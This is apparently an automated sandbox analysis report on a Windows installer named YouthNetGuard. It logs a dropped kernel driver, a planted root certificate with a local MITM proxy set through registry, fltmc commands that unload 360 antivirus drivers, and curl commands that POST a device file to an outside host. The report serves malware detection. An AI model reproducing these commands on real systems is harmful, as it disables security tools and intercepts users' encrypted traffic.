ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e

Analysis

max time kernel
82s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 10:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Size 7.7MB
Sample260809-l35sfayxes
SHA256 ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e
MD5 ea7fc1a58114c9f807c230efd16f0fa6
SHA1 8b82127f219825089a64bea3d736e38f43c0d3e1
SHA512 4e8b0acde42c44b67011a15d7decde23cbad87290ef4b2bda7eddf19e3f273ad5ecf07d713eab356353ed01adf864c204c9b6802db28bee1a27dc125bebdecbe
SSDEEP 98304:nS0N+EuErAVB5i4/RHrPvN4tSnvKq7nZBHb9rluyKAY06sbzRF7G0PdryZygthZ+:nPDsBTR7NnDZKl06sbzR1d636Sro
TLSH
T1138602CAD16E84D2DC053FF598142AC74B244A325A7400283E6FBD895F779FEC05EEA6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware trojan upx

Malware Config

Signatures

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\mpgkbwkjib.sys	YngSilentSetup.exe
File created	C:\Windows\system32\drivers\mpgkbwkjib.sys	YngSilentSetup.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpgkbwkjib\ImagePath = "\\SystemRoot\\System32\\drivers\\mpgkbwkjib.sys"	YngSilentSetup.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
4896	YngSilentSetup.exe
1868	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
1308	yng-mitm.exe

Loads dropped DLL 1 IoCs

pid	Process
5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\ISocket.dll	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5780-0-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-11-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-141-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-153-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-204-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-225-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-235-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-236-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx
behavioral2/memory/5780-237-0x0000000000400000-0x0000000000AA1000-memory.dmp	upx

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files\YouthNetGuard\server_url.txt	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\ca.key.pem.tmp	WpnPlatformHost.exe
File opened for modification	C:\Program Files\YouthNetGuard\WpnPlatformHost.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\WpnPlatformHost.exe	YngSilentSetup.exe
File opened for modification	C:\Program Files\YouthNetGuard\yng-mitm.exe	YngSilentSetup.exe
File opened for modification	C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	WpnPlatformHost.exe
File opened for modification	C:\Program Files\YouthNetGuard\certs\parent-ca.cer	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\yng-mitm.exe	YngSilentSetup.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.crt.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\redirect.txt.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\mitm\ca.key.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\ca.crt.pem.tmp	WpnPlatformHost.exe
File created	C:\Program Files\YouthNetGuard\parent_ca.thumb.tmp	WpnPlatformHost.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4188	sc.exe
3444	sc.exe
5000	sc.exe
1524	sc.exe
1924	sc.exe
3096	sc.exe
5164	sc.exe
1296	sc.exe
248	sc.exe
1056	sc.exe
4140	sc.exe
1080	sc.exe
2916	sc.exe
5488	sc.exe
4620	sc.exe
3512	sc.exe
2780	sc.exe
5620	sc.exe
1672	sc.exe
4960	sc.exe
904	sc.exe
2768	sc.exe
2432	sc.exe
2652	sc.exe
2924	sc.exe
2856	sc.exe
1228	sc.exe
2608	sc.exe
6048	sc.exe
3976	sc.exe
4752	sc.exe
968	sc.exe
836	sc.exe
6016	sc.exe
3692	sc.exe
5128	sc.exe
4644	sc.exe
2584	sc.exe
2304	sc.exe
2844	sc.exe
5788	sc.exe
4260	sc.exe
2584	sc.exe
820	sc.exe
1592	sc.exe
2248	sc.exe
4512	sc.exe
240	sc.exe
1888	sc.exe
4212	sc.exe
2036	sc.exe
3560	sc.exe
3316	sc.exe
5092	sc.exe
1716	sc.exe
2880	sc.exe
4552	sc.exe
1228	sc.exe
4396	sc.exe
2848	sc.exe
2784	sc.exe
608	sc.exe
1904	sc.exe
2340	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7\Blob = 030000000100000014000000ddd35aae9cfc7b7cfb1e40ded919a9db5d3616c720000000010000001703000030820313308201fba003020102021075a7503271a65b9b47f0db53376b61fd300d06092a864886f70d01010b050030223120301e06035504030c17596f7574684e6574477561726420506172656e74204341301e170d3236303732303139303334315a170d3336303732303139313334315a30223120301e06035504030c17596f7574684e6574477561726420506172656e7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100cc51552dad42375cafdf010a8ad7f3bcbd087b88ed236ec71ae0f0bd81db3054f629e467c420ad60eede951f80308245f88db8252439743edf2f240d5ab2f32088fc7b0f66f775f5adf25b11c9c98dd47307a5f5bf25e3e3aa6bb250336dfc341954e4fa11cb44f0104260a65173405bc5028b39f39db38eea148e0d2ef985c3055873cd9edbfff619ab12d5811f37da8566533708482eecf3da7be37789de0a9e1601a9d3e84c713ab93f62fe87d7f34e4158bbef3495e000b9b9f6350b33b0970ecc8d129b31856c73b68fda0cfac6b30674f31b00a9d3019e291679432d728bc47939a97d4b38c75988852bcb4dcd5dea3f2d9b0bc53008697ad05856a53d0203010001a3453043300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d0e041604145d256cd1d115497ea8d1ef33ac1d3e31834f5077300d06092a864886f70d01010b05000382010100a9c2354588cca8cfba7946a90821b41044e7ab82e2cfbb566fdcb96b680b977120e6f0d76a1d3325aaf93f72db068285636f4820987ae09eace583360c6c15af489b44d75f68ac3ef6d61ab858b7c57219e9a81fb4fd156826c847e75365d0ef8c78c9e164452914f8e312da4d6dc31ae44aee50a5526f3db8c29ed463e5994023e7fd84a0e563150b78ba14093c3a77830dcb0bf31b6835e21d062d416c28adcfefa1548d5899bbd4a70cbc1f1afabb62a7d861cd37780e990e992251b49d5f471955714daa494b427d5944f619842121c32ec8c485711d836bd1ac424c4b30a5d3c916d67700be03cbf98d76a1f1cf5ac8e3809c54001a77900bff3afe80ff	WpnPlatformHost.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Modifies data under HKEY_USERS 21 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride = "<-loopback>;127.0.0.1;localhost;<local>;www.56789tl.com;56789tl.com;47.243.104.243"	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	WpnPlatformHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000000000000050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	WpnPlatformHost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings	WpnPlatformHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = "http://127.0.0.1:31808/yng.pac?v=88"	WpnPlatformHost.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DDD35AAE9CFC7B7CFB1E40DED919A9DB5D3616C7	WpnPlatformHost.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4896	YngSilentSetup.exe
4896	YngSilentSetup.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
1868	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe
2404	WpnPlatformHost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
804	Process not Found

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
Token: SeLoadDriverPrivilege	5048	fltmc.exe
Token: SeLoadDriverPrivilege	364	fltmc.exe
Token: SeLoadDriverPrivilege	264	fltmc.exe
Token: SeLoadDriverPrivilege	1216	fltmc.exe
Token: SeLoadDriverPrivilege	4248	fltmc.exe
Token: SeLoadDriverPrivilege	5728	fltmc.exe
Token: SeLoadDriverPrivilege	1312	fltmc.exe
Token: SeLoadDriverPrivilege	5252	fltmc.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5780 wrote to memory of 4896	5780	ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe	90
PID 4896 wrote to memory of 1868	4896	YngSilentSetup.exe	92
PID 1868 wrote to memory of 1308	1868	WpnPlatformHost.exe	96
PID 1868 wrote to memory of 4568	1868	WpnPlatformHost.exe	98
PID 2404 wrote to memory of 2568	2404	WpnPlatformHost.exe	100
PID 1868 wrote to memory of 2868	1868	WpnPlatformHost.exe	102
PID 2404 wrote to memory of 564	2404	WpnPlatformHost.exe	104
PID 2404 wrote to memory of 4196	2404	WpnPlatformHost.exe	106
PID 2404 wrote to memory of 908	2404	WpnPlatformHost.exe	108
PID 2404 wrote to memory of 3468	2404	WpnPlatformHost.exe	110
PID 2404 wrote to memory of 3100	2404	WpnPlatformHost.exe	112
PID 2404 wrote to memory of 4620	2404	WpnPlatformHost.exe	114
PID 2404 wrote to memory of 5552	2404	WpnPlatformHost.exe	116
PID 2404 wrote to memory of 5328	2404	WpnPlatformHost.exe	118
PID 2404 wrote to memory of 2088	2404	WpnPlatformHost.exe	120
PID 2404 wrote to memory of 5272	2404	WpnPlatformHost.exe	122
PID 2404 wrote to memory of 5472	2404	WpnPlatformHost.exe	124
PID 2404 wrote to memory of 2584	2404	WpnPlatformHost.exe	126
PID 2404 wrote to memory of 5608	2404	WpnPlatformHost.exe	128
PID 2404 wrote to memory of 3376	2404	WpnPlatformHost.exe	130
PID 2404 wrote to memory of 3268	2404	WpnPlatformHost.exe	132
PID 2404 wrote to memory of 2880	2404	WpnPlatformHost.exe	204
PID 2404 wrote to memory of 52	2404	WpnPlatformHost.exe	136
PID 2404 wrote to memory of 240	2404	WpnPlatformHost.exe	209
PID 2404 wrote to memory of 1216	2404	WpnPlatformHost.exe	210
PID 2404 wrote to memory of 548	2404	WpnPlatformHost.exe	142
PID 2404 wrote to memory of 4092	2404	WpnPlatformHost.exe	144
PID 2404 wrote to memory of 1684	2404	WpnPlatformHost.exe	146
PID 2404 wrote to memory of 2992	2404	WpnPlatformHost.exe	148
PID 2404 wrote to memory of 3852	2404	WpnPlatformHost.exe	150
PID 2404 wrote to memory of 2608	2404	WpnPlatformHost.exe	357
PID 2404 wrote to memory of 4416	2404	WpnPlatformHost.exe	154
PID 2404 wrote to memory of 5804	2404	WpnPlatformHost.exe	156
PID 2404 wrote to memory of 3128	2404	WpnPlatformHost.exe	289
PID 2404 wrote to memory of 836	2404	WpnPlatformHost.exe	510
PID 2404 wrote to memory of 968	2404	WpnPlatformHost.exe	523
PID 2404 wrote to memory of 2736	2404	WpnPlatformHost.exe	441
PID 2404 wrote to memory of 964	2404	WpnPlatformHost.exe	300
PID 2404 wrote to memory of 4644	2404	WpnPlatformHost.exe	521
PID 2404 wrote to memory of 3076	2404	WpnPlatformHost.exe	233
PID 2404 wrote to memory of 4300	2404	WpnPlatformHost.exe	235
PID 2404 wrote to memory of 4124	2404	WpnPlatformHost.exe	320
PID 2404 wrote to memory of 6044	2404	WpnPlatformHost.exe	525
PID 2404 wrote to memory of 4244	2404	WpnPlatformHost.exe	178
PID 2404 wrote to memory of 4512	2404	WpnPlatformHost.exe	461
PID 2404 wrote to memory of 4760	2404	WpnPlatformHost.exe	533
PID 2404 wrote to memory of 3796	2404	WpnPlatformHost.exe	673
PID 2404 wrote to memory of 3392	2404	WpnPlatformHost.exe	186
PID 2404 wrote to memory of 4280	2404	WpnPlatformHost.exe	325
PID 2404 wrote to memory of 5924	2404	WpnPlatformHost.exe	576
PID 2404 wrote to memory of 2496	2404	WpnPlatformHost.exe	473
PID 2404 wrote to memory of 1676	2404	WpnPlatformHost.exe	256
PID 2404 wrote to memory of 1448	2404	WpnPlatformHost.exe	479
PID 2404 wrote to memory of 6064	2404	WpnPlatformHost.exe	409
PID 2404 wrote to memory of 1276	2404	WpnPlatformHost.exe	547
PID 2404 wrote to memory of 4968	2404	WpnPlatformHost.exe	681
PID 2404 wrote to memory of 2880	2404	WpnPlatformHost.exe	631
PID 2404 wrote to memory of 2632	2404	WpnPlatformHost.exe	699
PID 2404 wrote to memory of 2316	2404	WpnPlatformHost.exe	685
PID 2404 wrote to memory of 1216	2404	WpnPlatformHost.exe	273
PID 2404 wrote to memory of 4248	2404	WpnPlatformHost.exe	753
PID 2404 wrote to memory of 5728	2404	WpnPlatformHost.exe	771
PID 2404 wrote to memory of 1056	2404	WpnPlatformHost.exe	353
PID 2404 wrote to memory of 700	2404	WpnPlatformHost.exe	218

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	21	curl/8.8.0
HTTP User-Agent header	22	curl/8.8.0
HTTP User-Agent header	24	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe
"C:\Users\Admin\AppData\Local\Temp\ac1acb83b8f3512a93b78855b78e1deeba6ba2189a95db5a29cd0f94bcc6689e.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5780
- C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe
  C:\Users\Admin\AppData\Local\Temp\yngsetup\YngSilentSetup.exe /dat "C:\Users\Admin\AppData\Local\Temp\yngsetup\OgrePlatform.dat"
  2⤵
  - Drops file in Drivers directory
  - Sets service image path in registry
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
    "C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --client-setup --quiet --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies trusted root certificate store through registry
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe
      "C:\Program Files\YouthNetGuard\mitm\yng-mitm.exe"
      4⤵
      Executes dropped EXE
      PID:1308
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 15 --connect-timeout 10 -X POST -H "Content-Type: application/json" --data-binary "@C:\Users\Admin\AppData\Local\Temp\yng-admin-1868-240777625.json" "https://www.56789tl.com/api/device/register"
      4⤵
      PID:4568
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 25 --connect-timeout 10 "https://www.56789tl.com/api/policy?device_id=59000255b06248c0bacacfd113642d51&version=0&force=1"
      4⤵
      PID:2868
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5048
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Box64
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:364
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360FsFlt
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:264
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360qpesv
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1216
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360AvFlt
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload DsArk
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5728
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Sensor
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1312
  - - C:\Windows\system32\fltmc.exe
      "C:\Windows\system32\fltmc.exe" unload 360Sensor64
      4⤵
